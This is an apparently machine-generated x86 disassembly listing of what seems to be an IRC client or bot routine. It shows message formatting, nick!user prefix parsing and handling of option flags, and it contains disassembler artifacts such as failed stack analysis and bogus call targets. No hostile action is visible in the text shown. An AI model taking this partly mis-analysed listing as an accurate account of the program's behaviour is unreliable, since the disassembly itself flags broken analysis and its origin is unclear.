mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
mov eax, dword_447114
push eax
mov ecx, offset byte_4E6E75
call sub_4017E4
mov ecx, dword_447110
push eax
push ecx
push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n"
push ebp
call sub_401E0B
add esp, 1Ch
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4102C8: ; CODE XREF: sub_40FF60+1DBj
mov ecx, 800h
xor eax, eax
lea edi, [esp+20h+arg_464]
push ebx
rep stosd
lea eax, [esp+24h+arg_464]
push 2000h
push eax
push edx
call sub_401280
add esp, 10h
cmp al, bl
jz loc_411320
nop
call near ptr 27D091Eh
lea ecx, [esp+20h+var_8]
mov [ebp+24h], eax
call sub_401CBC
lea ecx, [esp+20h+arg_464]
push ecx
lea ecx, [esp+24h+var_8]
call sub_401A87
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_364]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447118
mov byte ptr [esp+20h+arg_246C], 1
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jnz short loc_4103A0
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_3F4]
push 4
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4473D4
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 2
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_3F4]
mov byte ptr [esp+20h+arg_246C], 1
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4103A4
loc_4103A0: ; CODE XREF: sub_40FF60+3EAj
mov [esp+20h+var_D], bl
loc_4103A4: ; CODE XREF: sub_40FF60+43Ej
lea ecx, [esp+20h+arg_364]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4103C6
mov byte ptr [ebp+16h], 1
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4103C6: ; CODE XREF: sub_40FF60+45Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_F4]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470EC
mov byte ptr [esp+20h+arg_246C], 3
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_F4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
push 1
jz short loc_410464
lea edx, [esp+28h+arg_2A4]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 4
call sub_4017E4
push eax
mov eax, dword_447108
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2A4]
jmp loc_410592
; ---------------------------------------------------------------------------
loc_410464: ; CODE XREF: sub_40FF60+4BAj
lea edx, [esp+28h+arg_124]
lea ecx, [esp+28h+var_8]
push edx
call sub_4016AE
mov ecx, dword_4470F0
mov byte ptr [esp+20h+arg_246C], 5
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_124]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz loc_4105D0
lea edx, [esp+24h+arg_40C]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 6
call sub_4012EE
lea ecx, [esp+20h+arg_40C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_154]
push 11h
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447108
mov byte ptr [esp+20h+arg_246C], 7
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_154]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_410597
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_2D4]
push 12h
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 8
call sub_4017E4
push eax
mov eax, dword_447108
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
mov byte ptr [esp+20h+arg_246C], bl
lea ecx, [esp+20h+arg_2D4]
loc_410592: ; CODE XREF: sub_40FF60+4FFj
call sub_401226
loc_410597: ; CODE XREF: sub_40FF60+5E6j
cmp [ebp+16h], bl
jnz loc_411327
mov ecx, offset byte_44741D
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov ecx, dword_4470F4
push eax
push ecx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4105D0: ; CODE XREF: sub_40FF60+550j
lea edx, [esp+24h+arg_394]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447128
mov byte ptr [esp+20h+arg_246C], 9
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_410652
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_184]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44712C
mov byte ptr [esp+20h+arg_246C], 0Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_184]
mov byte ptr [esp+20h+arg_246C], 9
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_410657
loc_410652: ; CODE XREF: sub_40FF60+69Bj
mov [esp+20h+var_D], 1
loc_410657: ; CODE XREF: sub_40FF60+6F0j
lea ecx, [esp+20h+arg_394]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz short loc_4106C4
cmp [ebp+16h], bl
jnz short loc_4106A0
mov ecx, offset byte_44741D
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov edx, dword_4470F4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
loc_4106A0: ; CODE XREF: sub_40FF60+713j
mov ecx, offset byte_4E6E75
call sub_4017E4
push eax
mov eax, dword_4470FC
push eax
push offset aSS_0 ; "%s %s\r\n"
push ebp
call sub_401E0B
add esp, 10h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4106C4: ; CODE XREF: sub_40FF60+70Ej
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_1B4]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447104
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Bh
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_1B4]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
push offset asc_443600 ; " "
cmp al, bl
jz short loc_410775
lea eax, [esp+24h+arg_94]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_94]
mov byte ptr [esp+24h+arg_246C], 0Ch
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_41075D
inc eax
lea ecx, [ebp+28h]
push eax
call sub_4015D7
loc_41075D: ; CODE XREF: sub_40FF60+7F1j
lea ecx, [esp+20h+arg_94]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410775: ; CODE XREF: sub_40FF60+7B7j
lea ecx, [esp+24h+arg_304]
push 1
push ecx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov edx, dword_447100
mov ecx, eax
push edx
mov byte ptr [esp+24h+arg_246C], 0Dh
call sub_4012EE
test eax, eax
jnz short loc_4107B0
mov al, byte_447834
mov [esp+20h+var_D], 1
cmp al, bl
jnz short loc_4107B4
loc_4107B0: ; CODE XREF: sub_40FF60+840j
mov [esp+20h+var_D], bl
loc_4107B4: ; CODE XREF: sub_40FF60+84Ej
lea ecx, [esp+20h+arg_304]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410AC1
push offset asc_443C84 ; ":"
lea eax, [esp+24h+arg_4C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push 96h
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 0Fh
jz short loc_410812
mov ecx, eax
call sub_402054
loc_410812: ; CODE XREF: sub_40FF60+8A9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 10h
jz short loc_41083E
mov ecx, eax
call sub_4010BE
loc_41083E: ; CODE XREF: sub_40FF60+8D5j
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_4C]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_401A9B
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_7C]
push ebx
push ecx
lea ecx, [esp+2Ch+arg_4C]
xor edi, edi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jz loc_410AAC
loc_41089F: ; CODE XREF: sub_40FF60+B46j
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 12h
jz short loc_4108C7
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_4108C9
; ---------------------------------------------------------------------------
loc_4108C7: ; CODE XREF: sub_40FF60+95Aj
xor esi, esi
loc_4108C9: ; CODE XREF: sub_40FF60+965j
push 0ADh
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 13h
jz short loc_4108FB
mov ecx, eax
call sub_4010BE
mov [esp+20h+var_C], eax
jmp short loc_4108FF
; ---------------------------------------------------------------------------
loc_4108FB: ; CODE XREF: sub_40FF60+98Cj
mov [esp+20h+var_C], ebx
loc_4108FF: ; CODE XREF: sub_40FF60+999j
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], 0Eh
call sub_4013E3
test eax, eax
jz short loc_410922
mov byte ptr [esi+93h], 1
jmp short loc_410928
; ---------------------------------------------------------------------------
loc_410922: ; CODE XREF: sub_40FF60+9B7j
mov [esi+93h], bl
loc_410928: ; CODE XREF: sub_40FF60+9C0j
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410943
mov byte ptr [esi+94h], 1
jmp short loc_410949
; ---------------------------------------------------------------------------
loc_410943: ; CODE XREF: sub_40FF60+9D8j
mov [esi+94h], bl
loc_410949: ; CODE XREF: sub_40FF60+9E1j
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410964
mov byte ptr [esi+95h], 1
jmp short loc_41096A
; ---------------------------------------------------------------------------
loc_410964: ; CODE XREF: sub_40FF60+9F9j
mov [esi+95h], bl
loc_41096A: ; CODE XREF: sub_40FF60+A02j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1E4]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 14h
call sub_401FBE
lea ecx, [esp+20h+arg_1E4]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset byte_446F60
lea ecx, [esi+54h]
call sub_4015D7
push offset byte_446F60
lea ecx, [esi+3Fh]
call sub_4015D7
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_AC]
push 3
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 15h
call sub_401FBE
lea ecx, [esp+20h+arg_AC]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
push offset asc_4435EC ; "|"
lea ecx, [esp+24h+arg_214]
push edi
push ecx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 16h
call sub_4017E4
push eax
mov ecx, esi
call sub_4015D7
lea ecx, [esp+20h+arg_214]
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
mov ecx, [esp+20h+var_C]
push 1
push esi
call sub_401DE3
cmp esi, ebx
jz short loc_410A59
push 1
mov ecx, esi
call sub_4019D3
loc_410A59: ; CODE XREF: sub_40FF60+AEEj
mov ecx, [esp+20h+var_C]
call sub_4013D4
inc edi
push offset asc_4435EC ; "|"
lea edx, [esp+24h+arg_7C]
push edi
push edx
lea ecx, [esp+2Ch+arg_4C]
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 11h
call sub_4012EE
lea ecx, [esp+20h+arg_7C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], 0Eh
call sub_401226
cmp esi, ebx
jnz loc_41089F
loc_410AAC: ; CODE XREF: sub_40FF60+939j
lea ecx, [esp+20h+arg_4C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410AC1: ; CODE XREF: sub_40FF60+86Bj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_334]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_4470F8
mov byte ptr [esp+20h+arg_246C], 17h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_334]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410DDB
push 96h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 18h
jz short loc_410B3B
mov ecx, eax
call sub_402054
mov esi, eax
jmp short loc_410B3D
; ---------------------------------------------------------------------------
loc_410B3B: ; CODE XREF: sub_40FF60+BCEj
xor esi, esi
loc_410B3D: ; CODE XREF: sub_40FF60+BD9j
push 0ADh
mov byte ptr [esp+24h+arg_246C], bl
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+20h+var_C], eax
cmp eax, ebx
mov byte ptr [esp+20h+arg_246C], 19h
jz short loc_410B6C
mov ecx, eax
call sub_4010BE
mov edi, eax
jmp short loc_410B6E
; ---------------------------------------------------------------------------
loc_410B6C: ; CODE XREF: sub_40FF60+BFFj
xor edi, edi
loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj
push offset aO ; " -o"
lea ecx, [esp+24h+var_8]
mov byte ptr [esp+24h+arg_246C], bl
call sub_4013E3
test eax, eax
jz short loc_410B90
mov byte ptr [esi+95h], 1
jmp short loc_410B96
; ---------------------------------------------------------------------------
loc_410B90: ; CODE XREF: sub_40FF60+C25j
mov [esi+95h], bl
loc_410B96: ; CODE XREF: sub_40FF60+C2Ej
push offset aS_3 ; " -s"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BB1
mov byte ptr [esi+93h], 1
jmp short loc_410BB7
; ---------------------------------------------------------------------------
loc_410BB1: ; CODE XREF: sub_40FF60+C46j
mov [esi+93h], bl
loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj
push offset aN_0 ; " -n"
lea ecx, [esp+24h+var_8]
call sub_4013E3
test eax, eax
jz short loc_410BD2
mov byte ptr [esi+94h], 1
jmp short loc_410BD8
; ---------------------------------------------------------------------------
loc_410BD2: ; CODE XREF: sub_40FF60+C67j
mov [esi+94h], bl
loc_410BD8: ; CODE XREF: sub_40FF60+C70j
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_274]
push ebx
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_3C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Ah
call sub_4016AE
push offset asc_443C78 ; "!"
lea edx, [esp+24h+arg_244]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Bh
call sub_4016AE
push eax
lea ecx, [esi+15h]
mov byte ptr [esp+24h+arg_246C], 1Ch
call sub_401FBE
lea ecx, [esp+20h+arg_244]
mov byte ptr [esp+20h+arg_246C], 1Bh
call sub_401226
lea ecx, [esp+20h+arg_3C4]
mov byte ptr [esp+20h+arg_246C], 1Ah
call sub_401226
lea ecx, [esp+20h+arg_274]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C78 ; "!"
lea eax, [esp+24h+arg_DC]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+24h+arg_C4]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Dh
call sub_4016AE
push eax
lea ecx, [esi+54h]
mov byte ptr [esp+24h+arg_246C], 1Eh
call sub_401FBE
lea ecx, [esp+20h+arg_C4]
mov byte ptr [esp+20h+arg_246C], 1Dh
call sub_401226
lea ecx, [esp+20h+arg_DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset dword_4437F8
lea edx, [esp+24h+arg_13C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443600 ; " "
lea ecx, [esp+24h+arg_10C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 1Fh
call sub_4016AE
push eax
lea ecx, [esi+3Fh]
mov byte ptr [esp+24h+arg_246C], 20h
call sub_401FBE
mov byte ptr [esp+20h+arg_246C], 1Fh
lea ecx, [esp+20h+arg_10C]
call sub_401226
lea ecx, [esp+20h+arg_13C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_16C]
push 2
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push eax
lea ecx, [esi+2Ah]
mov byte ptr [esp+24h+arg_246C], 21h
call sub_401FBE
lea ecx, [esp+20h+arg_16C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
nop
call near ptr 77C47C60h
add esp, 8
cmp eax, ebx
jz short loc_410DAD
add eax, 2
push eax
jmp short loc_410DB2
; ---------------------------------------------------------------------------
loc_410DAD: ; CODE XREF: sub_40FF60+E45j
push offset byte_446F60
loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj
mov ecx, esi
call sub_4015D7
push ebx
push esi
mov ecx, edi
call sub_401DE3
cmp esi, ebx
jz short loc_410DCF
push 1
mov ecx, esi
call sub_4019D3
loc_410DCF: ; CODE XREF: sub_40FF60+E64j
mov ecx, edi
call sub_4013D4
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_40FF60+BADj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_19C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_44711C
mov byte ptr [esp+20h+arg_246C], 22h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_19C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_410FB0
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov edx, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push edx
call sub_4016AE
mov ecx, offset word_448C8E
call sub_401CD0
cmp eax, ebx
jz short loc_410EA2
sub esp, 18h
lea ecx, [esp+38h+var_8]
mov eax, esp
mov [esp+38h+var_C], esp
push offset asc_443600 ; " "
push 3
push eax
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 23h
mov ecx, esp
mov [esp+50h+arg_C], esp
push offset asc_443600 ; " "
push 3
push ecx
lea ecx, [esp+5Ch+var_8]
call sub_4016AE
mov ecx, offset word_448C8E
mov byte ptr [esp+50h+arg_246C], bl
call sub_40210D
loc_410EA2: ; CODE XREF: sub_40FF60+EF3j
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_1CC]
push 3
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset byte_4E6E75
mov ecx, eax
mov byte ptr [esp+24h+arg_246C], 24h
call sub_401B72
test eax, eax
lea ecx, [esp+20h+arg_1CC]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C84 ; ":"
lea eax, [esp+24h+arg_22C]
push ebx
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C78 ; "!"
lea ecx, [esp+24h+arg_1FC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 25h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 26h
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_25C]
call sub_401861
lea ecx, [esp+20h+arg_1FC]
mov byte ptr [esp+20h+arg_246C], 29h
call sub_401226
lea ecx, [esp+20h+arg_22C]
mov byte ptr [esp+20h+arg_246C], 28h
call sub_401226
mov ecx, offset byte_44741D
mov [ebp+16h], bl
call sub_4017E4
push eax
mov ecx, offset dword_4473D4
call sub_4017E4
mov edx, dword_4470F4
push eax
push edx
push offset aSSS_0 ; "%s %s %s\r\n"
push ebp
call sub_401E0B
add esp, 14h
lea ecx, [esp+20h+arg_25C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410FB0: ; CODE XREF: sub_40FF60+EC7j
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_28C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447110
mov byte ptr [esp+20h+arg_246C], 2Ah
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_28C]
mov byte ptr [esp+20h+arg_246C], bl
setz [esp+20h+var_D]
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411168
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_2EC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
push offset asc_443C78 ; "!"
lea ecx, [esp+24h+arg_2BC]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+2Ch+arg_246C], 2Bh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+20h+arg_246C], 2Ch
call sub_4017E4
push eax
lea ecx, [esp+24h+arg_34]
call sub_401861
lea ecx, [esp+20h+arg_2BC]
mov byte ptr [esp+20h+arg_246C], 2Fh
call sub_401226
lea ecx, [esp+20h+arg_2EC]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
mov esi, dword_50FAF8
push eax
call esi
add esp, 8
test eax, eax
jz loc_411153
push offset asc_443C74 ; " :"
lea ecx, [esp+24h+var_8]
call sub_4014D3
push eax
call esi
add esp, 8
lea ecx, [esp+20h+arg_64]
push eax
call sub_401861
push offset byte_446F60
lea ecx, [esp+24h+arg_34]
mov byte ptr [esp+24h+arg_246C], 30h
call sub_4012EE
test eax, eax
jz short loc_41113F
push offset byte_446F60
lea ecx, [esp+24h+arg_64]
call sub_4012EE
test eax, eax
jz short loc_41113F
sub esp, 18h
lea edx, [esp+38h+arg_34]
mov ecx, esp
mov [esp+38h+arg_C], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
cmp eax, ebx
jz short loc_41111B
lea ecx, [esp+20h+arg_64]
push ecx
lea ecx, [eax+19h]
call sub_401FBE
loc_41111B: ; CODE XREF: sub_40FF60+11A9j
push offset byte_4E6E75
lea ecx, [esp+24h+arg_34]
call sub_401B72
test eax, eax
jnz short loc_41113F
lea edx, [esp+20h+arg_64]
mov ecx, offset byte_4E6E75
push edx
call sub_401FBE
loc_41113F: ; CODE XREF: sub_40FF60+1173j
; sub_40FF60+1188j ...
lea ecx, [esp+20h+arg_64]
mov byte ptr [esp+20h+arg_246C], 2Eh
call sub_401226
loc_411153: ; CODE XREF: sub_40FF60+1134j
lea ecx, [esp+20h+arg_34]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp loc_411327
; ---------------------------------------------------------------------------
loc_411168: ; CODE XREF: sub_40FF60+109Cj
push offset asc_443600 ; " "
lea eax, [esp+24h+arg_34C]
push 1
push eax
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447120
mov byte ptr [esp+20h+arg_246C], 31h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
jz short loc_4111EF
push offset asc_443600 ; " "
lea edx, [esp+24h+arg_31C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
mov ecx, dword_447130
mov byte ptr [esp+20h+arg_246C], 32h
push ecx
mov ecx, eax
call sub_4012EE
test eax, eax
lea ecx, [esp+20h+arg_31C]
mov byte ptr [esp+20h+arg_246C], 31h
setz [esp+20h+var_D]
call sub_401226
mov al, [esp+20h+var_D]
mov [esp+20h+var_D], bl
cmp al, bl
jz short loc_4111F4
loc_4111EF: ; CODE XREF: sub_40FF60+1238j
mov [esp+20h+var_D], 1
loc_4111F4: ; CODE XREF: sub_40FF60+128Dj
lea ecx, [esp+20h+arg_34C]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp [esp+20h+var_D], bl
jz loc_411327
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_37C]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 33h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C8E
call sub_401CD0
lea ecx, [esp+20h+arg_37C]
mov esi, eax
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
cmp esi, ebx
jz loc_411327
push offset asc_443C84 ; ":"
lea edx, [esp+24h+arg_3DC]
push 1
push edx
lea ecx, [esp+2Ch+var_8]
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+38h+arg_246C], 34h
mov ecx, esp
mov [esp+38h+arg_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016AE
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_443C78 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016AE
mov ecx, offset word_448C8E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40210D
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_411327
; ---------------------------------------------------------------------------
loc_411320: ; CODE XREF: sub_40FF60+391j
mov ecx, ebp
call sub_401D0C
loc_411327: ; CODE XREF: sub_40FF60+1D3j
; sub_40FF60+253j ...
cmp [ebp+17h], bl
jnz loc_40FFA2
loc_411330: ; CODE XREF: sub_40FF60+3Cj
; sub_40FF60+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40FF60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411860 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402054
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
